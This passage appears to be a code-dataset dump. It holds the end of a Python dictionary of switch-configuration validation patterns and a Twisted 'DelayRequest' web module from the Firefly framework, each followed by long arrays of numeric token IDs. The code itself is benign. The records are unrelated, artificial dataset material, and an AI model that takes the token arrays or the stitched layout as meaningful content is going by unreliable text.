'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:1000,10000,40000,50000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
|
gpl-3.0
|
[
3,
961,
1233,
365,
1777,
402,
2622,
12,
1325,
365,
376,
12717,
3931,
14,
199,
3,
961,
6770,
570,
17440,
12,
436,
642,
570,
17440,
1454,
12,
365,
6289,
18233,
14,
199,
3,
18167,
1265,
2218,
1808,
642,
17440,
12,
1314,
365,
12169,
18774,
701,
199,
3,
2622,
5139,
13511,
370,
314,
4132,
402,
314,
859,
12,
436,
1443,
5090,
3932,
199,
3,
5705,
4190,
370,
314,
4890,
1736,
14,
199,
3,
199,
3,
1898,
334,
35,
9,
9708,
15757,
31445,
12,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
221,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
259,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
221,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
4248,
4245,
12,
199,
3,
259,
642,
769,
402,
3704,
436,
314,
2569,
6450,
315,
314,
3794,
199,
3,
259,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
29785,
1549,
6483,
6262,
199,
3,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
199,
3,
9110,
6736,
334,
6446,
12,
5400,
2845,
5471,
2296,
12,
9838,
1634,
199,
3,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
7126,
12,
1549,
9206,
27,
1549,
9748,
199,
3,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
1634,
5603,
12,
7061,
1621,
199,
3,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
9254,
1549,
7334,
9,
199,
3,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
199,
3,
9726,
1634,
9712,
9784,
14,
199,
3,
199,
3,
22493,
2243,
2332,
436,
3102,
199,
3,
15757,
31445,
7220,
316,
421,
199,
318,
664,
5065,
1558,
8,
1782,
804,
12,
1750,
1304,
304,
272,
15011,
275,
1750,
1304,
435,
14725,
272,
340,
8,
1782,
804,
508,
283,
71,
24,
12900,
63,
6413,
736,
735,
267,
340,
1750,
1304,
315,
486,
24,
12900,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
486,
24,
12900,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
71,
24,
11700,
63,
6413,
736,
735,
267,
340,
1750,
1304,
315,
486,
24,
11700,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
486,
24,
11700,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
71,
2658,
708,
63,
6413,
736,
735,
267,
340,
1750,
1304,
315,
486,
2658,
708,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
486,
2658,
708,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
709,
2819,
52,
735,
267,
340,
1750,
1304,
315,
7110,
709,
2819,
52,
26,
288,
15011,
275,
15011,
435,
7110,
709,
2819,
52,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
709,
708,
735,
267,
340,
1750,
1304,
315,
7110,
709,
708,
26,
288,
15011,
275,
15011,
435,
7110,
709,
708,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
709,
708,
52,
735,
267,
340,
1750,
1304,
315,
7110,
709,
708,
52,
26,
288,
15011,
275,
15011,
435,
7110,
709,
708,
52,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
1960,
708,
735,
267,
340,
1750,
1304,
315,
7110,
1960,
708,
26,
288,
15011,
275,
15011,
435,
7110,
1960,
708,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
821,
2819,
735,
267,
340,
1750,
1304,
315,
7110,
821,
2819,
26,
288,
15011,
275,
15011,
435,
7110,
821,
2819,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
614,
2528,
52,
735,
267,
340,
1750,
1304,
315,
7110,
614,
2528,
52,
26,
288,
15011,
275,
15011,
435,
7110,
614,
2528,
52,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
587,
26,
267,
340,
1750,
1304,
315,
849,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
849,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
372,
15011,
199,
3,
662,
7474,
421,
199,
885,
63,
6413,
736,
275,
469,
272,
283,
7175,
63,
344,
356,
283,
9596,
63,
7041,
26,
17,
13,
19,
5637,
297,
272,
283,
7175,
63,
344,
63,
1842,
356,
283,
9596,
63,
7041,
63,
15167,
26,
17,
13,
19,
5637,
297,
272,
283,
7175,
63,
354,
356,
283,
3876,
6536,
272,
283,
7175,
63,
70,
21703,
356,
283,
3876,
63,
8808,
26,
4774,
20,
12,
4774,
22,
297,
272,
283,
7175,
63,
929,
356,
283,
3876,
63,
8808,
26,
2682,
12,
14480,
297,
272
] |
[
961,
1233,
365,
1777,
402,
2622,
12,
1325,
365,
376,
12717,
3931,
14,
199,
3,
961,
6770,
570,
17440,
12,
436,
642,
570,
17440,
1454,
12,
365,
6289,
18233,
14,
199,
3,
18167,
1265,
2218,
1808,
642,
17440,
12,
1314,
365,
12169,
18774,
701,
199,
3,
2622,
5139,
13511,
370,
314,
4132,
402,
314,
859,
12,
436,
1443,
5090,
3932,
199,
3,
5705,
4190,
370,
314,
4890,
1736,
14,
199,
3,
199,
3,
1898,
334,
35,
9,
9708,
15757,
31445,
12,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
221,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
259,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
221,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
4248,
4245,
12,
199,
3,
259,
642,
769,
402,
3704,
436,
314,
2569,
6450,
315,
314,
3794,
199,
3,
259,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
29785,
1549,
6483,
6262,
199,
3,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
199,
3,
9110,
6736,
334,
6446,
12,
5400,
2845,
5471,
2296,
12,
9838,
1634,
199,
3,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
7126,
12,
1549,
9206,
27,
1549,
9748,
199,
3,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
1634,
5603,
12,
7061,
1621,
199,
3,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
9254,
1549,
7334,
9,
199,
3,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
199,
3,
9726,
1634,
9712,
9784,
14,
199,
3,
199,
3,
22493,
2243,
2332,
436,
3102,
199,
3,
15757,
31445,
7220,
316,
421,
199,
318,
664,
5065,
1558,
8,
1782,
804,
12,
1750,
1304,
304,
272,
15011,
275,
1750,
1304,
435,
14725,
272,
340,
8,
1782,
804,
508,
283,
71,
24,
12900,
63,
6413,
736,
735,
267,
340,
1750,
1304,
315,
486,
24,
12900,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
486,
24,
12900,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
71,
24,
11700,
63,
6413,
736,
735,
267,
340,
1750,
1304,
315,
486,
24,
11700,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
486,
24,
11700,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
71,
2658,
708,
63,
6413,
736,
735,
267,
340,
1750,
1304,
315,
486,
2658,
708,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
486,
2658,
708,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
709,
2819,
52,
735,
267,
340,
1750,
1304,
315,
7110,
709,
2819,
52,
26,
288,
15011,
275,
15011,
435,
7110,
709,
2819,
52,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
709,
708,
735,
267,
340,
1750,
1304,
315,
7110,
709,
708,
26,
288,
15011,
275,
15011,
435,
7110,
709,
708,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
709,
708,
52,
735,
267,
340,
1750,
1304,
315,
7110,
709,
708,
52,
26,
288,
15011,
275,
15011,
435,
7110,
709,
708,
52,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
1960,
708,
735,
267,
340,
1750,
1304,
315,
7110,
1960,
708,
26,
288,
15011,
275,
15011,
435,
7110,
1960,
708,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
821,
2819,
735,
267,
340,
1750,
1304,
315,
7110,
821,
2819,
26,
288,
15011,
275,
15011,
435,
7110,
821,
2819,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
916,
8,
1782,
804,
508,
283,
6388,
614,
2528,
52,
735,
267,
340,
1750,
1304,
315,
7110,
614,
2528,
52,
26,
288,
15011,
275,
15011,
435,
7110,
614,
2528,
52,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
587,
26,
267,
340,
1750,
1304,
315,
849,
63,
6413,
736,
26,
288,
15011,
275,
15011,
435,
849,
63,
6413,
736,
59,
1975,
1304,
61,
267,
587,
26,
288,
15011,
275,
298,
1918,
1750,
298,
435,
1750,
1304,
435,
298,
365,
440,
3748,
2,
272,
372,
15011,
199,
3,
662,
7474,
421,
199,
885,
63,
6413,
736,
275,
469,
272,
283,
7175,
63,
344,
356,
283,
9596,
63,
7041,
26,
17,
13,
19,
5637,
297,
272,
283,
7175,
63,
344,
63,
1842,
356,
283,
9596,
63,
7041,
63,
15167,
26,
17,
13,
19,
5637,
297,
272,
283,
7175,
63,
354,
356,
283,
3876,
6536,
272,
283,
7175,
63,
70,
21703,
356,
283,
3876,
63,
8808,
26,
4774,
20,
12,
4774,
22,
297,
272,
283,
7175,
63,
929,
356,
283,
3876,
63,
8808,
26,
2682,
12,
14480,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,
1,
1,
1,
1
] |
yangdw/PyRepo
|
src/annotation/Firefly/firefly/web/delayrequest.py
|
8
|
4841
|
#coding:utf8
'''
Created on 2013-9-3
@author: lan
'''
from twisted.web.server import Request,Site
from twisted.internet import defer
from twisted.web import http,html
from twisted.python import log, reflect
from twisted.web import resource
from twisted.web.error import UnsupportedMethod
from twisted.web.microdom import escape
import string,types
NOT_DONE_YET = 1
# backwards compatability
date_time_string = http.datetimeToString
string_date_time = http.stringToDatetime
# Support for other methods may be implemented on a per-resource basis.
supportedMethods = ('GET', 'HEAD', 'POST')
class DelayRequest(Request):
def __init__(self, *args, **kw):
Request.__init__(self,*args, **kw)
def render(self, resrc):
"""
Ask a resource to render itself.
@param resrc: a L{twisted.web.resource.IResource}.
"""
try:
body = resrc.render(self)
except UnsupportedMethod, e:
allowedMethods = e.allowedMethods
if (self.method == "HEAD") and ("GET" in allowedMethods):
# We must support HEAD (RFC 2616, 5.1.1). If the
# resource doesn't, fake it by giving the resource
# a 'GET' request and then return only the headers,
# not the body.
log.msg("Using GET to fake a HEAD request for %s" %
(resrc,))
self.method = "GET"
self._inFakeHead = True
body = resrc.render(self)
if body is NOT_DONE_YET:
log.msg("Tried to fake a HEAD request for %s, but "
"it got away from me." % resrc)
# Oh well, I guess we won't include the content length.
else:
self.setHeader('content-length', str(len(body)))
self._inFakeHead = False
self.method = "HEAD"
self.write('')
self.finish()
return
if self.method in (supportedMethods):
# We MUST include an Allow header
# (RFC 2616, 10.4.6 and 14.7)
self.setHeader('Allow', ', '.join(allowedMethods))
s = ('''Your browser approached me (at %(URI)s) with'''
''' the method "%(method)s". I only allow'''
''' the method%(plural)s %(allowed)s here.''' % {
'URI': escape(self.uri),
'method': self.method,
'plural': ((len(allowedMethods) > 1) and 's') or '',
'allowed': string.join(allowedMethods, ', ')
})
epage = resource.ErrorPage(http.NOT_ALLOWED,
"Method Not Allowed", s)
body = epage.render(self)
else:
epage = resource.ErrorPage(
http.NOT_IMPLEMENTED, "Huh?",
"I don't know how to treat a %s request." %
(escape(self.method),))
body = epage.render(self)
# end except UnsupportedMethod
if body == NOT_DONE_YET:
return
if not isinstance(body, defer.Deferred) and type(body) is not types.StringType:
body = resource.ErrorPage(
http.INTERNAL_SERVER_ERROR,
"Request did not return a string",
"Request: " + html.PRE(reflect.safe_repr(self)) + "<br />" +
"Resource: " + html.PRE(reflect.safe_repr(resrc)) + "<br />" +
"Value: " + html.PRE(reflect.safe_repr(body))).render(self)
if self.method == "HEAD":
if len(body) > 0:
# This is a Bad Thing (RFC 2616, 9.4)
log.msg("Warning: HEAD request %s for resource %s is"
" returning a message body."
" I think I'll eat it."
% (self, resrc))
self.setHeader('content-length', str(len(body)))
self.write('')
self.finish()
else:
if isinstance(body, defer.Deferred):
body.addCallback(self._deferwrite)
else:
self.setHeader('content-length', str(len(body)))
self.write(body)
self.finish()
def _deferwrite(self,body):
'''延迟等待数据返回
'''
self.setHeader('content-length', str(len(body)))
self.write(body)
self.finish()
class DelaySite(Site):
def __init__(self, resource, logPath=None, timeout=60*60*12):
Site.__init__(self, resource, logPath=logPath, timeout=timeout)
self.requestFactory = DelayRequest
|
mit
|
[
3,
1523,
26,
1624,
24,
199,
2344,
199,
10502,
641,
6171,
13,
25,
13,
19,
199,
199,
32,
2502,
26,
634,
290,
199,
2344,
199,
504,
7390,
14,
2520,
14,
1000,
492,
4784,
12,
8972,
199,
504,
7390,
14,
4901,
492,
10133,
199,
504,
7390,
14,
2520,
492,
1455,
12,
1360,
199,
504,
7390,
14,
1548,
492,
943,
12,
16806,
199,
504,
7390,
14,
2520,
492,
2073,
199,
504,
7390,
14,
2520,
14,
705,
492,
19022,
3767,
199,
504,
7390,
14,
2520,
14,
6453,
4556,
492,
4772,
199,
199,
646,
1059,
12,
1313,
199,
199,
4609,
63,
22162,
63,
57,
775,
275,
413,
199,
199,
3,
8552,
1013,
1936,
2012,
199,
602,
63,
521,
63,
875,
275,
1455,
14,
2083,
7756,
199,
875,
63,
602,
63,
521,
275,
1455,
14,
875,
1378,
19636,
199,
199,
3,
12502,
367,
1163,
3102,
1443,
506,
6366,
641,
282,
1126,
13,
1927,
5597,
14,
199,
4946,
10385,
275,
661,
2970,
297,
283,
5211,
297,
283,
4030,
358,
421,
199,
533,
18464,
1187,
2017,
8,
2017,
304,
2286,
347,
636,
826,
721,
277,
12,
627,
589,
12,
1011,
829,
304,
267,
4784,
855,
826,
721,
277,
19166,
589,
12,
1011,
829,
9,
5493,
347,
3795,
8,
277,
12,
522,
1195,
304,
267,
408,
267,
30481,
282,
2073,
370,
3795,
6337,
14,
398,
768,
635,
522,
1195,
26,
282,
491,
91,
12145,
14,
2520,
14,
1927,
14,
41,
4031,
5565,
267,
408,
267,
862,
26,
288,
2396,
275,
522,
1195,
14,
3352,
8,
277,
9,
267,
871,
19022,
3767,
12,
325,
26,
288,
4370,
10385,
275,
325,
14,
6541,
10385,
288,
340,
334,
277,
14,
765,
508,
298,
5211,
531,
436,
1689,
2970,
2,
315,
4370,
10385,
304,
355,
327,
2136,
1471,
2291,
13053,
334,
14468,
7875,
975,
12,
959,
14,
17,
14,
17,
680,
221,
982,
314,
355,
327,
2073,
3181,
1133,
12,
4026,
652,
701,
15131,
314,
2073,
355,
327,
282,
283,
2970,
7,
1056,
436,
2066,
372,
1454,
314,
2323,
12,
355,
327,
440,
314,
2396,
14,
355,
943,
14,
1328,
480,
10369,
9576,
370,
4026,
282,
13053,
1056,
367,
450,
83,
2,
450,
717,
334,
470,
1195,
4641,
355,
291,
14,
765,
275,
298,
2970,
2,
355,
291,
423,
262,
8249,
11664,
275,
715,
355,
2396,
275,
522,
1195,
14,
3352,
8,
277,
9,
2234,
340,
2396,
365,
2845,
63,
22162,
63,
57,
775,
26,
490,
943,
14,
1328,
480,
6948,
379,
370,
4026,
282,
13053,
1056,
367,
450,
83,
12,
1325,
298,
1169,
298,
390,
4788,
13437,
687,
562,
2122,
450,
522,
1195,
9,
490,
327,
593,
72,
5521,
12,
473,
9519,
781,
7859,
1133,
2387,
314,
1564,
2582,
14,
355,
587,
26,
490,
291,
14,
409,
2567,
360,
1317,
13,
1267,
297,
620,
8,
552,
8,
2030,
1724,
2234,
291,
423,
262,
8249,
11664,
275,
756,
355,
291,
14,
765,
275,
298,
5211,
2,
355,
291,
14,
952,
8355,
355,
291,
14,
8192,
342,
355,
372,
953,
340,
291,
14,
765,
315,
334,
4946,
10385,
304,
355,
327,
2136,
18095,
2387,
376,
9812,
1406,
355,
327,
334,
14468,
7875,
975,
12,
1616,
14,
20,
14,
22,
436,
4329,
14,
23,
9,
355,
291,
14,
409,
2567,
360,
7852,
297,
1656,
1987,
904,
8,
6541,
10385,
430,
355,
308,
275,
661,
891,
14398,
7042,
4286,
4583,
562,
334,
292,
2818,
7639,
9,
83,
9,
543,
2344,
2151,
1449,
314,
1083,
11792,
765,
9,
83,
1674,
221,
473,
1454,
2040,
2344,
2151,
1449,
314,
1083,
2840,
10019,
9,
83,
2818,
6541,
9,
83,
2348,
10595,
450,
469,
490,
283,
7639,
356,
4772,
8,
277,
14,
2302,
395,
490,
283,
765,
356,
291,
14,
765,
12,
490,
283,
10019,
356,
3666,
552,
8,
6541,
10385,
9,
690,
413,
9,
436,
283,
83,
358,
503,
3260,
490,
283,
6541,
356,
1059,
14,
904,
8,
6541,
10385,
12,
1656,
5320,
490,
3828,
355,
325,
1606,
275,
2073,
14,
547,
3276,
8,
1014,
14,
4609,
63,
17350,
12,
5644,
298,
3767,
2832,
27301,
401,
308,
9,
355,
2396,
275,
325,
1606,
14,
3352,
8,
277,
9,
288,
587,
26,
355,
325,
1606,
275,
2073,
14,
547,
3276,
8,
490,
1455,
14,
4609,
63,
8947,
10320,
1149,
12,
298,
40,
22451,
15583,
490,
298,
41,
2793,
1133,
5715,
4212,
370,
14312,
282,
450,
83,
1056,
2122,
450,
490,
334,
3765,
8,
277,
14,
765,
18399,
355,
2396,
275,
325,
1606,
14,
3352,
8,
277,
9,
267,
327,
1284,
871,
19022,
3767,
398,
340,
2396,
508,
2845,
63,
22162,
63,
57,
775,
26,
288,
372,
267,
340,
440,
1228,
8,
2030,
12,
10133,
14,
9937,
9,
436,
730,
8,
2030,
9,
365,
440,
2943,
14,
22463,
26,
288,
2396,
275,
2073,
14,
547,
3276,
8,
355,
1455,
14,
17681,
63,
6613,
63,
3170,
12,
355,
298,
2017,
8103,
440,
372,
282,
1059,
401,
355,
298,
2017,
26,
298,
435,
3517,
14,
4225,
8,
21963,
14,
3489,
63,
2722,
8,
277,
430,
435,
3886,
3289,
1182,
4335,
435,
355,
298,
4031,
26,
298,
435,
3517,
14,
4225,
8,
21963,
14,
3489,
63,
2722,
8,
470,
1195,
430,
435,
3886,
3289,
1182,
4335,
435,
355,
298,
1110,
26,
298,
435,
3517,
14,
4225,
8,
21963,
14,
3489,
63,
2722,
8,
2030,
23261,
3352,
8,
277,
9,
398,
340,
291,
14,
765,
508,
298,
5211,
582,
288,
340,
822,
8,
2030,
9,
690,
378,
26,
355,
327,
961,
365,
282,
8857,
3868,
316,
334,
14468,
7875,
975,
12,
1749,
14,
20,
9,
355,
943,
14,
1328,
480,
3849,
26,
13053,
1056,
450,
83,
367,
2073,
450,
83,
365,
2,
717,
298,
8152,
282,
1245,
2396,
2122,
717,
298,
221,
473,
13516,
473,
7171,
325,
292,
652,
2122,
717,
450,
334,
277,
12,
522,
1195,
430,
355,
291,
14,
409,
2567,
360,
1317,
13,
1267,
297,
620,
8,
552,
8,
2030,
1724,
288,
291,
14,
952,
8355,
288,
291,
14,
8192,
342,
267,
587,
26,
288,
340,
1228,
8,
2030,
12,
10133,
14,
9937,
304,
355,
2396,
14,
10053,
8,
277,
423,
11610,
952,
9,
288,
587,
26,
355,
291,
14,
409,
2567,
360,
1317,
13,
1267,
297,
620,
8,
552,
8,
2030,
1724,
355,
291,
14,
952,
8,
2030,
9,
355,
291,
14,
8192,
342
] |
[
1523,
26,
1624,
24,
199,
2344,
199,
10502,
641,
6171,
13,
25,
13,
19,
199,
199,
32,
2502,
26,
634,
290,
199,
2344,
199,
504,
7390,
14,
2520,
14,
1000,
492,
4784,
12,
8972,
199,
504,
7390,
14,
4901,
492,
10133,
199,
504,
7390,
14,
2520,
492,
1455,
12,
1360,
199,
504,
7390,
14,
1548,
492,
943,
12,
16806,
199,
504,
7390,
14,
2520,
492,
2073,
199,
504,
7390,
14,
2520,
14,
705,
492,
19022,
3767,
199,
504,
7390,
14,
2520,
14,
6453,
4556,
492,
4772,
199,
199,
646,
1059,
12,
1313,
199,
199,
4609,
63,
22162,
63,
57,
775,
275,
413,
199,
199,
3,
8552,
1013,
1936,
2012,
199,
602,
63,
521,
63,
875,
275,
1455,
14,
2083,
7756,
199,
875,
63,
602,
63,
521,
275,
1455,
14,
875,
1378,
19636,
199,
199,
3,
12502,
367,
1163,
3102,
1443,
506,
6366,
641,
282,
1126,
13,
1927,
5597,
14,
199,
4946,
10385,
275,
661,
2970,
297,
283,
5211,
297,
283,
4030,
358,
421,
199,
533,
18464,
1187,
2017,
8,
2017,
304,
2286,
347,
636,
826,
721,
277,
12,
627,
589,
12,
1011,
829,
304,
267,
4784,
855,
826,
721,
277,
19166,
589,
12,
1011,
829,
9,
5493,
347,
3795,
8,
277,
12,
522,
1195,
304,
267,
408,
267,
30481,
282,
2073,
370,
3795,
6337,
14,
398,
768,
635,
522,
1195,
26,
282,
491,
91,
12145,
14,
2520,
14,
1927,
14,
41,
4031,
5565,
267,
408,
267,
862,
26,
288,
2396,
275,
522,
1195,
14,
3352,
8,
277,
9,
267,
871,
19022,
3767,
12,
325,
26,
288,
4370,
10385,
275,
325,
14,
6541,
10385,
288,
340,
334,
277,
14,
765,
508,
298,
5211,
531,
436,
1689,
2970,
2,
315,
4370,
10385,
304,
355,
327,
2136,
1471,
2291,
13053,
334,
14468,
7875,
975,
12,
959,
14,
17,
14,
17,
680,
221,
982,
314,
355,
327,
2073,
3181,
1133,
12,
4026,
652,
701,
15131,
314,
2073,
355,
327,
282,
283,
2970,
7,
1056,
436,
2066,
372,
1454,
314,
2323,
12,
355,
327,
440,
314,
2396,
14,
355,
943,
14,
1328,
480,
10369,
9576,
370,
4026,
282,
13053,
1056,
367,
450,
83,
2,
450,
717,
334,
470,
1195,
4641,
355,
291,
14,
765,
275,
298,
2970,
2,
355,
291,
423,
262,
8249,
11664,
275,
715,
355,
2396,
275,
522,
1195,
14,
3352,
8,
277,
9,
2234,
340,
2396,
365,
2845,
63,
22162,
63,
57,
775,
26,
490,
943,
14,
1328,
480,
6948,
379,
370,
4026,
282,
13053,
1056,
367,
450,
83,
12,
1325,
298,
1169,
298,
390,
4788,
13437,
687,
562,
2122,
450,
522,
1195,
9,
490,
327,
593,
72,
5521,
12,
473,
9519,
781,
7859,
1133,
2387,
314,
1564,
2582,
14,
355,
587,
26,
490,
291,
14,
409,
2567,
360,
1317,
13,
1267,
297,
620,
8,
552,
8,
2030,
1724,
2234,
291,
423,
262,
8249,
11664,
275,
756,
355,
291,
14,
765,
275,
298,
5211,
2,
355,
291,
14,
952,
8355,
355,
291,
14,
8192,
342,
355,
372,
953,
340,
291,
14,
765,
315,
334,
4946,
10385,
304,
355,
327,
2136,
18095,
2387,
376,
9812,
1406,
355,
327,
334,
14468,
7875,
975,
12,
1616,
14,
20,
14,
22,
436,
4329,
14,
23,
9,
355,
291,
14,
409,
2567,
360,
7852,
297,
1656,
1987,
904,
8,
6541,
10385,
430,
355,
308,
275,
661,
891,
14398,
7042,
4286,
4583,
562,
334,
292,
2818,
7639,
9,
83,
9,
543,
2344,
2151,
1449,
314,
1083,
11792,
765,
9,
83,
1674,
221,
473,
1454,
2040,
2344,
2151,
1449,
314,
1083,
2840,
10019,
9,
83,
2818,
6541,
9,
83,
2348,
10595,
450,
469,
490,
283,
7639,
356,
4772,
8,
277,
14,
2302,
395,
490,
283,
765,
356,
291,
14,
765,
12,
490,
283,
10019,
356,
3666,
552,
8,
6541,
10385,
9,
690,
413,
9,
436,
283,
83,
358,
503,
3260,
490,
283,
6541,
356,
1059,
14,
904,
8,
6541,
10385,
12,
1656,
5320,
490,
3828,
355,
325,
1606,
275,
2073,
14,
547,
3276,
8,
1014,
14,
4609,
63,
17350,
12,
5644,
298,
3767,
2832,
27301,
401,
308,
9,
355,
2396,
275,
325,
1606,
14,
3352,
8,
277,
9,
288,
587,
26,
355,
325,
1606,
275,
2073,
14,
547,
3276,
8,
490,
1455,
14,
4609,
63,
8947,
10320,
1149,
12,
298,
40,
22451,
15583,
490,
298,
41,
2793,
1133,
5715,
4212,
370,
14312,
282,
450,
83,
1056,
2122,
450,
490,
334,
3765,
8,
277,
14,
765,
18399,
355,
2396,
275,
325,
1606,
14,
3352,
8,
277,
9,
267,
327,
1284,
871,
19022,
3767,
398,
340,
2396,
508,
2845,
63,
22162,
63,
57,
775,
26,
288,
372,
267,
340,
440,
1228,
8,
2030,
12,
10133,
14,
9937,
9,
436,
730,
8,
2030,
9,
365,
440,
2943,
14,
22463,
26,
288,
2396,
275,
2073,
14,
547,
3276,
